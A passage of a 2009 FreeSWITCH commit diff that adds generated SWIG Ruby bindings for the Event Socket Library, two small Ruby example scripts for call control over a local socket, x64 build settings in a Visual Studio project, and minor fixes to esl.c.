+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","executeAsync", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","executeAsync", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (argc > 1) {
+    res3 = SWIG_AsCharPtrAndSize(argv[1], &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), Ruby_Format_TypeError( "", "char const *","executeAsync", 3, argv[1] ));
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+  }
+  if (argc > 2) {
+    res4 = SWIG_AsCharPtrAndSize(argv[2], &buf4, NULL, &alloc4);
+    if (!SWIG_IsOK(res4)) {
+      SWIG_exception_fail(SWIG_ArgError(res4), Ruby_Format_TypeError( "", "char const *","executeAsync", 4, argv[2] ));
+    }
+    arg4 = reinterpret_cast< char * >(buf4);
+  }
+  result = (int)(arg1)->executeAsync((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  vresult = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_setAsyncExecute(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","setAsyncExecute", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","setAsyncExecute", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (int)(arg1)->setAsyncExecute((char const *)arg2);
+  vresult = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_setEventLock(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","setEventLock", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(argv[0], &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), Ruby_Format_TypeError( "", "char const *","setEventLock", 2, argv[0] ));
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (int)(arg1)->setEventLock((char const *)arg2);
+  vresult = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return vresult;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_ESLconnection_disconnect(int argc, VALUE *argv, VALUE self) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  VALUE vresult = Qnil;
+  
+  if ((argc < 0) || (argc > 0)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 0)",argc); SWIG_fail;
+  }
+  res1 = SWIG_ConvertPtr(self, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), Ruby_Format_TypeError( "", "ESLconnection *","disconnect", 1, self )); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (int)(arg1)->disconnect();
+  vresult = SWIG_From_int(static_cast< int >(result));
+  return vresult;
+fail:
+  return Qnil;
+}
+
+
+SWIGINTERN VALUE
+_wrap_eslSetLogLevel(int argc, VALUE *argv, VALUE self) {
+  int arg1 ;
+  int val1 ;
+  int ecode1 = 0 ;
+  
+  if ((argc < 1) || (argc > 1)) {
+    rb_raise(rb_eArgError, "wrong # of arguments(%d for 1)",argc); SWIG_fail;
+  }
+  ecode1 = SWIG_AsVal_int(argv[0], &val1);
+  if (!SWIG_IsOK(ecode1)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode1), Ruby_Format_TypeError( "", "int","eslSetLogLevel", 1, argv[0] ));
+  } 
+  arg1 = static_cast< int >(val1);
+  eslSetLogLevel(arg1);
+  return Qnil;
+fail:
+  return Qnil;
+}
+
+
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */
+
+static swig_type_info _swigt__p_ESLconnection = {"_p_ESLconnection", "ESLconnection *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_ESLevent = {"_p_ESLevent", "ESLevent *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_char = {"_p_char", "char *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_esl_event_t = {"_p_esl_event_t", "esl_event_t *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_esl_priority_t = {"_p_esl_priority_t", "esl_priority_t *", 0, 0, (void*)0, 0};
+
+static swig_type_info *swig_type_initial[] = {
+  &_swigt__p_ESLconnection,
+  &_swigt__p_ESLevent,
+  &_swigt__p_char,
+  &_swigt__p_esl_event_t,
+  &_swigt__p_esl_priority_t,
+};
+
+static swig_cast_info _swigc__p_ESLconnection[] = {  {&_swigt__p_ESLconnection, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_ESLevent[] = {  {&_swigt__p_ESLevent, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_char[] = {  {&_swigt__p_char, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_event_t[] = {  {&_swigt__p_esl_event_t, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_priority_t[] = {  {&_swigt__p_esl_priority_t, 0, 0, 0},{0, 0, 0, 0}};
+
+static swig_cast_info *swig_cast_initial[] = {
+  _swigc__p_ESLconnection,
+  _swigc__p_ESLevent,
+  _swigc__p_char,
+  _swigc__p_esl_event_t,
+  _swigc__p_esl_priority_t,
+};
+
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */
+
+/* -----------------------------------------------------------------------------
+ * Type initialization:
+ * This problem is tough by the requirement that no dynamic 
+ * memory is used. Also, since swig_type_info structures store pointers to 
+ * swig_cast_info structures and swig_cast_info structures store pointers back
+ * to swig_type_info structures, we need some lookup code at initialization. 
+ * The idea is that swig generates all the structures that are needed. 
+ * The runtime then collects these partially filled structures. 
+ * The SWIG_InitializeModule function takes these initial arrays out of 
+ * swig_module, and does all the lookup, filling in the swig_module.types
+ * array with the correct data and linking the correct swig_cast_info
+ * structures together.
+ *
+ * The generated swig_type_info structures are assigned staticly to an initial 
+ * array. We just loop through that array, and handle each type individually.
+ * First we lookup if this type has been already loaded, and if so, use the
+ * loaded structure instead of the generated one. Then we have to fill in the
+ * cast linked list. The cast data is initially stored in something like a
+ * two-dimensional array. Each row corresponds to a type (there are the same
+ * number of rows as there are in the swig_type_initial array). Each entry in
+ * a column is one of the swig_cast_info structures for that type.
+ * The cast_initial array is actually an array of arrays, because each row has
+ * a variable number of columns. So to actually build the cast linked list,
+ * we find the array of casts associated with the type, and loop through it 
+ * adding the casts to the list. The one last trick we need to do is making
+ * sure the type pointer in the swig_cast_info struct is correct.
+ *
+ * First off, we lookup the cast->type name to see if it is already loaded. 
+ * There are three cases to handle:
+ *  1) If the cast->type has already been loaded AND the type we are adding
+ *     casting info to has not been loaded (it is in this module), THEN we
+ *     replace the cast->type pointer with the type pointer that has already
+ *     been loaded.
+ *  2) If BOTH types (the one we are adding casting info to, and the 
+ *     cast->type) are loaded, THEN the cast info has already been loaded by
+ *     the previous module so we just ignore it.
+ *  3) Finally, if cast->type has not already been loaded, then we add that
+ *     swig_cast_info to the linked list (because the cast->type) pointer will
+ *     be correct.
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#if 0
+} /* c-mode */
+#endif
+#endif
+
+#if 0
+#define SWIGRUNTIME_DEBUG
+#endif
+
+
+SWIGRUNTIME void
+SWIG_InitializeModule(void *clientdata) {
+  size_t i;
+  swig_module_info *module_head, *iter;
+  int found, init;
+
+  clientdata = clientdata;
+
+  /* check to see if the circular list has been setup, if not, set it up */
+  if (swig_module.next==0) {
+    /* Initialize the swig_module */
+    swig_module.type_initial = swig_type_initial;
+    swig_module.cast_initial = swig_cast_initial;
+    swig_module.next = &swig_module;
+    init = 1;
+  } else {
+    init = 0;
+  }
+
+  /* Try and load any already created modules */
+  module_head = SWIG_GetModule(clientdata);
+  if (!module_head) {
+    /* This is the first module loaded for this interpreter */
+    /* so set the swig module into the interpreter */
+    SWIG_SetModule(clientdata, &swig_module);
+    module_head = &swig_module;
+  } else {
+    /* the interpreter has loaded a SWIG module, but has it loaded this one? */
+    found=0;
+    iter=module_head;
+    do {
+      if (iter==&swig_module) {
+        found=1;
+        break;
+      }
+      iter=iter->next;
+    } while (iter!= module_head);
+
+    /* if the is found in the list, then all is done and we may leave */
+    if (found) return;
+    /* otherwise we must add out module into the list */
+    swig_module.next = module_head->next;
+    module_head->next = &swig_module;
+  }
+
+  /* When multiple interpeters are used, a module could have already been initialized in
+     a different interpreter, but not yet have a pointer in this interpreter.
+     In this case, we do not want to continue adding types... everything should be
+     set up already */
+  if (init == 0) return;
+
+  /* Now work on filling in swig_module.types */
+#ifdef SWIGRUNTIME_DEBUG
+  printf("SWIG_InitializeModule: size %d\n", swig_module.size);
+#endif
+  for (i = 0; i < swig_module.size; ++i) {
+    swig_type_info *type = 0;
+    swig_type_info *ret;
+    swig_cast_info *cast;
+  
+#ifdef SWIGRUNTIME_DEBUG
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+#endif
+
+    /* if there is another module already loaded */
+    if (swig_module.next != &swig_module) {
+      type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name);
+    }
+    if (type) {
+      /* Overwrite clientdata field */
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: found type %s\n", type->name);
+#endif
+      if (swig_module.type_initial[i]->clientdata) {
+	type->clientdata = swig_module.type_initial[i]->clientdata;
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name);
+#endif
+      }
+    } else {
+      type = swig_module.type_initial[i];
+    }
+
+    /* Insert casting types */
+    cast = swig_module.cast_initial[i];
+    while (cast->type) {
+    
+      /* Don't need to add information already in the list */
+      ret = 0;
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: look cast %s\n", cast->type->name);
+#endif
+      if (swig_module.next != &swig_module) {
+        ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name);
+#ifdef SWIGRUNTIME_DEBUG
+	if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name);
+#endif
+      }
+      if (ret) {
+	if (type == swig_module.type_initial[i]) {
+#ifdef SWIGRUNTIME_DEBUG
+	  printf("SWIG_InitializeModule: skip old type %s\n", ret->name);
+#endif
+	  cast->type = ret;
+	  ret = 0;
+	} else {
+	  /* Check for casting already in the list */
+	  swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type);
+#ifdef SWIGRUNTIME_DEBUG
+	  if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name);
+#endif
+	  if (!ocast) ret = 0;
+	}
+      }
+
+      if (!ret) {
+#ifdef SWIGRUNTIME_DEBUG
+	printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name);
+#endif
+        if (type->cast) {
+          type->cast->prev = cast;
+          cast->next = type->cast;
+        }
+        type->cast = cast;
+      }
+      cast++;
+    }
+    /* Set entry in modules->types array equal to the type */
+    swig_module.types[i] = type;
+  }
+  swig_module.types[i] = 0;
+
+#ifdef SWIGRUNTIME_DEBUG
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+  for (i = 0; i < swig_module.size; ++i) {
+    int j = 0;
+    swig_cast_info *cast = swig_module.cast_initial[i];
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+    while (cast->type) {
+      printf("SWIG_InitializeModule: cast type %s\n", cast->type->name);
+      cast++;
+      ++j;
+    }
+  printf("---- Total casts: %d\n",j);
+  }
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+#endif
+}
+
+/* This function will propagate the clientdata field of type to
+* any new swig_type_info structures that have been added into the list
+* of equivalent types.  It is like calling
+* SWIG_TypeClientData(type, clientdata) a second time.
+*/
+SWIGRUNTIME void
+SWIG_PropagateClientData(void) {
+  size_t i;
+  swig_cast_info *equiv;
+  static int init_run = 0;
+
+  if (init_run) return;
+  init_run = 1;
+
+  for (i = 0; i < swig_module.size; i++) {
+    if (swig_module.types[i]->clientdata) {
+      equiv = swig_module.types[i]->cast;
+      while (equiv) {
+        if (!equiv->converter) {
+          if (equiv->type && !equiv->type->clientdata)
+            SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata);
+        }
+        equiv = equiv->next;
+      }
+    }
+  }
+}
+
+#ifdef __cplusplus
+#if 0
+{ /* c-mode */
+#endif
+}
+#endif
+
+/*
+
+*/
+#ifdef __cplusplus
+extern "C"
+#endif
+SWIGEXPORT void Init_ESL(void) {
+  size_t i;
+  
+  SWIG_InitRuntime();
+  mESL = rb_define_module("ESL");
+  
+  SWIG_InitializeModule(0);
+  for (i = 0; i < swig_module.size; i++) {
+    SWIG_define_class(swig_module.types[i]);
+  }
+  
+  SWIG_RubyInitializeTrackings();
+  
+  cESLevent.klass = rb_define_class_under(mESL, "ESLevent", rb_cObject);
+  SWIG_TypeClientData(SWIGTYPE_p_ESLevent, (void *) &cESLevent);
+  rb_define_alloc_func(cESLevent.klass, _wrap_ESLevent_allocate);
+  rb_define_method(cESLevent.klass, "initialize", VALUEFUNC(_wrap_new_ESLevent), -1);
+  rb_define_method(cESLevent.klass, "event=", VALUEFUNC(_wrap_ESLevent_event_set), -1);
+  rb_define_method(cESLevent.klass, "event", VALUEFUNC(_wrap_ESLevent_event_get), -1);
+  rb_define_method(cESLevent.klass, "serialized_string=", VALUEFUNC(_wrap_ESLevent_serialized_string_set), -1);
+  rb_define_method(cESLevent.klass, "serialized_string", VALUEFUNC(_wrap_ESLevent_serialized_string_get), -1);
+  rb_define_method(cESLevent.klass, "mine=", VALUEFUNC(_wrap_ESLevent_mine_set), -1);
+  rb_define_method(cESLevent.klass, "mine", VALUEFUNC(_wrap_ESLevent_mine_get), -1);
+  rb_define_method(cESLevent.klass, "serialize", VALUEFUNC(_wrap_ESLevent_serialize), -1);
+  rb_define_method(cESLevent.klass, "setPriority", VALUEFUNC(_wrap_ESLevent_setPriority), -1);
+  rb_define_method(cESLevent.klass, "getHeader", VALUEFUNC(_wrap_ESLevent_getHeader), -1);
+  rb_define_method(cESLevent.klass, "getBody", VALUEFUNC(_wrap_ESLevent_getBody), -1);
+  rb_define_method(cESLevent.klass, "getType", VALUEFUNC(_wrap_ESLevent_getType), -1);
+  rb_define_method(cESLevent.klass, "addBody", VALUEFUNC(_wrap_ESLevent_addBody), -1);
+  rb_define_method(cESLevent.klass, "addHeader", VALUEFUNC(_wrap_ESLevent_addHeader), -1);
+  rb_define_method(cESLevent.klass, "delHeader", VALUEFUNC(_wrap_ESLevent_delHeader), -1);
+  rb_define_method(cESLevent.klass, "firstHeader", VALUEFUNC(_wrap_ESLevent_firstHeader), -1);
+  rb_define_method(cESLevent.klass, "nextHeader", VALUEFUNC(_wrap_ESLevent_nextHeader), -1);
+  cESLevent.mark = 0;
+  cESLevent.destroy = (void (*)(void *)) free_ESLevent;
+  cESLevent.trackObjects = 0;
+  
+  cESLconnection.klass = rb_define_class_under(mESL, "ESLconnection", rb_cObject);
+  SWIG_TypeClientData(SWIGTYPE_p_ESLconnection, (void *) &cESLconnection);
+  rb_define_alloc_func(cESLconnection.klass, _wrap_ESLconnection_allocate);
+  rb_define_method(cESLconnection.klass, "initialize", VALUEFUNC(_wrap_new_ESLconnection), -1);
+  rb_define_method(cESLconnection.klass, "socketDescriptor", VALUEFUNC(_wrap_ESLconnection_socketDescriptor), -1);
+  rb_define_method(cESLconnection.klass, "connected", VALUEFUNC(_wrap_ESLconnection_connected), -1);
+  rb_define_method(cESLconnection.klass, "getInfo", VALUEFUNC(_wrap_ESLconnection_getInfo), -1);
+  rb_define_method(cESLconnection.klass, "send", VALUEFUNC(_wrap_ESLconnection_send), -1);
+  rb_define_method(cESLconnection.klass, "sendRecv", VALUEFUNC(_wrap_ESLconnection_sendRecv), -1);
+  rb_define_method(cESLconnection.klass, "api", VALUEFUNC(_wrap_ESLconnection_api), -1);
+  rb_define_method(cESLconnection.klass, "bgapi", VALUEFUNC(_wrap_ESLconnection_bgapi), -1);
+  rb_define_method(cESLconnection.klass, "sendEvent", VALUEFUNC(_wrap_ESLconnection_sendEvent), -1);
+  rb_define_method(cESLconnection.klass, "recvEvent", VALUEFUNC(_wrap_ESLconnection_recvEvent), -1);
+  rb_define_method(cESLconnection.klass, "recvEventTimed", VALUEFUNC(_wrap_ESLconnection_recvEventTimed), -1);
+  rb_define_method(cESLconnection.klass, "filter", VALUEFUNC(_wrap_ESLconnection_filter), -1);
+  rb_define_method(cESLconnection.klass, "events", VALUEFUNC(_wrap_ESLconnection_events), -1);
+  rb_define_method(cESLconnection.klass, "execute", VALUEFUNC(_wrap_ESLconnection_execute), -1);
+  rb_define_method(cESLconnection.klass, "executeAsync", VALUEFUNC(_wrap_ESLconnection_executeAsync), -1);
+  rb_define_method(cESLconnection.klass, "setAsyncExecute", VALUEFUNC(_wrap_ESLconnection_setAsyncExecute), -1);
+  rb_define_method(cESLconnection.klass, "setEventLock", VALUEFUNC(_wrap_ESLconnection_setEventLock), -1);
+  rb_define_method(cESLconnection.klass, "disconnect", VALUEFUNC(_wrap_ESLconnection_disconnect), -1);
+  cESLconnection.mark = 0;
+  cESLconnection.destroy = (void (*)(void *)) free_ESLconnection;
+  cESLconnection.trackObjects = 0;
+  rb_define_module_function(mESL, "eslSetLogLevel", VALUEFUNC(_wrap_eslSetLogLevel), -1);
+}
+

Deleted: freeswitch/branches/seven/libs/esl/ruby/server3.rb

Copied: freeswitch/branches/seven/libs/esl/ruby/server3.rb (from rev 14471, freeswitch/trunk/libs/esl/ruby/server3.rb) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/ruby/server3.rb	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/ruby/server3.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+#!/usr/bin/ruby
+
+# Simple Ruby ESL example that forks a new process for every connection.
+# Called like this: <action application="socket" data="localhost:8086 async full"/>
+#
+# Try pressing 5, 8 or 9 when the file is played and see what happens
+# 
+# Contributed by Mikael Bjerkeland
+
+require "ESL"
+require 'socket'
+include Socket::Constants
+bind_address = "127.0.0.1"
+bind_port = 8086
+
+def time_now
+  Time.now.strftime("%Y-%m-%d %H:%M:%S")
+end
+
+socket = Socket.new(AF_INET, SOCK_STREAM, 0)
+sockaddr = Socket.sockaddr_in(bind_port, bind_address)
+socket.bind(sockaddr)
+socket.listen(5)
+puts "Listening for connections on #{bind_address}:#{bind_port}"
+loop do 
+  client_socket, client_sockaddr = socket.accept #_nonblock
+  pid = fork do
+    @con = ESL::ESLconnection.new(client_socket.fileno)
+    info = @con.getInfo
+    uuid = info.getHeader("UNIQUE-ID")
+    @con.sendRecv("myevents")
+    @con.sendRecv("divert_events on")
+
+    puts "#{time_now} [#{uuid}] Call to [#{info.getHeader("Caller-Destination-Number")}]"
+    @con.execute("log", "1, Wee-wa-wee-wa")
+    @con.execute("info", "")
+    @con.execute("answer", "")
+    @con.execute("playback", "/usr/local/freeswitch/sounds/music/8000/suite-espanola-op-47-leyenda.wav")
+
+    while @con.connected
+      e = @con.recvEvent
+
+      if e
+        name = e.getHeader("Event-Name")
+        puts "EVENT: #{name}"
+        break if name == "SERVER_DISCONNECTED"
+        if name == "DTMF"
+          digit = e.getHeader("DTMF-DIGIT")
+          duration = e.getHeader("DTMF-DURATION")
+          puts "DTMF DIGIT #{digit} (#{duration})"
+          if digit == "5"
+            @con.execute("log", "1, WHA HA HA. User pressed 5")
+          elsif digit == "8"
+            # TODO: close connection without hangup in order to proceed in dialplan. How?
+          elsif digit == "9"
+            @con.execute("transfer", "99355151")
+          end
+        end
+
+      end 
+    end
+    puts "Connection closed"
+  end
+
+  Process.detach(pid)
+end

Deleted: freeswitch/branches/seven/libs/esl/ruby/single_command.rb

Copied: freeswitch/branches/seven/libs/esl/ruby/single_command.rb (from rev 14471, freeswitch/trunk/libs/esl/ruby/single_command.rb) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/ruby/single_command.rb	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/ruby/single_command.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+#! /usr/bin/ruby
+
+require "ESL"
+
+command = ARGV.join(" ")
+con = ESL::ESLconnection.new("localhost", "8021", "ClueCon")
+e = con.sendRecv("api #{command}")
+puts e.getBody()

Property changes: freeswitch/branches/seven/libs/esl/src


Name: svn:ignore
   - Debug
*.user
Release
   + Debug
*.user
Release
x64

Modified: freeswitch/branches/seven/libs/esl/src/esl.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/src/esl.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/src/esl.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -82,6 +85,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="include"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;ESL_DECLARE_STATIC"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="false"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4706;4100"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(SolutionDir)Release"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -144,6 +213,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;ESL_DECLARE_STATIC"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="false"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4706;4100"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/esl/src/esl.c (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/src/esl.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/src/esl.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -380,9 +380,9 @@
 
 static void sock_setup(esl_handle_t *handle)
 {
-#ifdef WIN32
-	BOOL bOptVal = TRUE;
-	int bOptLen = sizeof(BOOL);
+#ifdef WIN32
+	BOOL bOptVal = TRUE;
+	int bOptLen = sizeof(BOOL);
 	setsockopt(handle->sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&bOptVal, bOptLen);
 #else
 	int x = 1;
@@ -390,10 +390,12 @@
 #endif
 }
 
-ESL_DECLARE(esl_status_t) esl_attach_handle(esl_handle_t *handle, esl_socket_t socket, struct sockaddr_in addr)
+ESL_DECLARE(esl_status_t) esl_attach_handle(esl_handle_t *handle, esl_socket_t socket, struct sockaddr_in *addr)
 {
 	handle->sock = socket;
-	handle->addr = addr;
+	if (addr) {
+		handle->addr = *addr;
+	}
 
 	if (handle->sock == ESL_SOCK_INVALID) {
 		return ESL_FAIL;
@@ -425,16 +427,19 @@
 ESL_DECLARE(esl_status_t) esl_sendevent(esl_handle_t *handle, esl_event_t *event)
 {
 	char *txt;
+	char event_buf[256] = "";
 
-	if (!handle->connected) {
+	if (!handle->connected || !event) {
 		return ESL_FAIL;
 	}
 
-	esl_event_serialize(handle->last_ievent, &txt, ESL_TRUE);
+	esl_event_serialize(event, &txt, ESL_FALSE);
 
 	esl_log(ESL_LOG_DEBUG, "SEND EVENT\n%s\n", txt);
 		
-	send(handle->sock, "sendevent\n", 10, 0);
+	snprintf(event_buf, sizeof(event_buf), "sendevent %s\n", esl_event_name(event->event_id));
+	
+	send(handle->sock, event_buf, strlen(event_buf), 0);
 	send(handle->sock, txt, strlen(txt), 0);
 	send(handle->sock, "\n\n", 2, 0);
 
@@ -448,6 +453,8 @@
 	char cmd_buf[128] = "sendmsg";
 	char app_buf[512] = "";
 	char arg_buf[512] = "";
+	const char *el_buf = "event-lock: true\n";
+	const char *bl_buf = "async: true\n";
 	char send_buf[1292] = "";
